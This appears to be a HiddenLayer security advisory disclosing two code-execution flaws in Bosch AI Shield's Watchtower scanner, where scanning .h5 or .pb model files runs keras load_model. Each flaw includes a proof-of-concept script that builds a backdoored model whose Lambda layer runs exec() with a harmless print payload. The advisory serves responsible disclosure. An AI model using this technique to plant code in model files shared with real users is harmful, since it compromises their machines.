HiddenLayer, a Gartner recognized Cool Vendor for AI Security, is the leading provider of Security for AI. Its security platform helps enterprises safeguard the machine learning models behind their most important products. HiddenLayer is the only company to offer turnkey security for AI that does not add unnecessary complexity to models and does not require access to raw data and algorithms. Founded by a team with deep roots in security and ML, HiddenLayer aims to protect enterprise’s AI from inference, bypass, extraction attacks, and model theft. The company is backed by a group of strategic investors, including M12, Microsoft’s Venture Fund, Moore Strategic Ventures, Booz Allen Ventures, IBM Ventures, and Capital One Ventures.
Dec 16, 2024
keras.models.load_model when scanning .h5 files leads to arbitrary code execution
CVE Number
SAI-ADV-2024-004
Summary
A vulnerability exists inside the unsafe_check_h5 function within the watchtower/src/utils/model_inspector_util.py file. This function runs keras.models.load_model on the .h5 file the user wants to scan for malicious payloads. A maliciously crafted .h5 file will execute its payload when run with keras.models.load_model, allowing for a user’s device to be compromised when scanning a downloaded file.
Products Impacted
This vulnerability is present in Watchtower v0.9.0-beta up to v1.2.2.
CVSS Score: 7.8
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE Categorization
CWE-502: Deserialization of Untrusted Data.
Details
To exploit this vulnerability, an attacker would create a malicious .h5 file which executes code when loaded and send this to the victim.
import tensorflow as tf
def example_payload(*args, **kwargs):
exec("""
print("")
print('Arbitrary code execution')
print("")""")
return 10
num_classes = 10
input_shape = (28, 28, 1)
model = tf.keras.Sequential([tf.keras.Input(shape=input_shape), tf.keras.layers.Lambda(example_payload, name="custom")])
model.save("backdoored_model.h5", save_format="h5"
The victim would then attempt to scan the file to see if it’s malicious using this command, as per the watchtower documentation in the readme:
python watchtower.py --repo_type file --path backdoored_model.h5
The code injected into the file by the attacker would then be executed, compromising the victim’s machine. This is due to the keras.models.load_model function being used in unsafe_check_h5 in the watchtower/src/utils/model_inspector_util.py file, which is used to scan .h5 files. When a .h5 file is loaded with this function, it executes any lambda layers contained in it, which executes any malicious payloads. A user could also scan this file from a GitHub or HuggingFace repository using Watchtower, using the built-in functionality.
def unsafe_check_h5(model_path: str):
"""
The unsafe_check_h5 function is designed to inspect models with the .h5 extension for potential vulnerabilities.
...
"""
tool_output = list()
try:
# Try loading the model without custom objects
model = keras.models.load_model(model_path, custom_objects={})
Additionally, the scanner doesn’t detect that the .h5 file is malicious, so the user has no indication they’ve been compromised.
keras.models.load_model when scanning .pb files leads to arbitrary code execution
CVE Number
SAI-ADV-2024-005
Summary
A vulnerability exists inside the unsafe_check_pb function within the watchtower/src/utils/model_inspector_util.py file. This function runs keras.models.load_model on a .pb file that the user wants to scan for malicious payloads. A maliciously crafted .pb file will execute its payload when run with keras.models.load_model, allowing for a user’s device to be compromised when scanning a downloaded file.
Products Impacted
This vulnerability is present in Watchtower v0.9.0-beta up to v1.2.2.
CVSS Score: 7.8
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE Categorization
CWE-502: Deserialization of Untrusted Data.
Details
To exploit this vulnerability, an attacker would create a malicious .pb file which executes code when loaded and send this to the victim.
import tensorflow as tf
def example_payload(*args, **kwargs):
exec("""
print("")
print('Arbitrary code execution')
print("")""")
return 10
num_classes = 10
input_shape = (28, 28, 1)
model = tf.keras.Sequential([tf.keras.Input(shape=input_shape), tf.keras.layers.Lambda(example_payload, name="custom")])
model.save("backdoored_model_pb", save_format="tf")
The victim would then attempt to scan the file to see if it’s malicious using this command, as per the watchtower documentation:
python watchtower.py --repo_type file --path ./backdoored_model_pb/saved_model.pb
The code injected into the file by the attacker would then be executed, compromising the victim’s machine. This is due to the keras.models.load_model function being used in unsafe_check_pb in the watchtower/src/utils/model_inspector_util.py file, which is used to scan .pb files. When a model is loaded with this function, it executes any lambda layers contained in it, which executes any malicious payloads. A user could also scan this file from a GitHub or HuggingFace repository using Watchtower, using the built-in functionality.
def unsafe_check_pb(model_path: str):
"""
The unsafe_check_pb function is designed to examine models with the .pb extension for potential vulnerabilities.
...
"""
tool_output = list()
# If the provided path is a file, get the parent directory
if os.path.isfile(model_path):
model_path = os.path.dirname(model_path)
try:
model = tf.keras.models.load_model(model_path)
TimelineTimeline
August 19, 2024 — Disclosed vulnerability to Bosch AI Shield
October 19, 2024 — Bosch AI Shield responds, asking for more time due to the report getting lost in spam filtering policies
November 27, 2024 — Bosch AI Shield released a patch for the vulnerabilities and stated that no CVE would be assigned
“After a thorough review by our internal security board, it was determined that the issue does not warrant a CVE assignment.”
December 16, 2024 — HiddenLayer public disclosure
Project URL
https://www.boschaishield.com/
https://github.com/bosch-aisecurity-aishield/watchtower
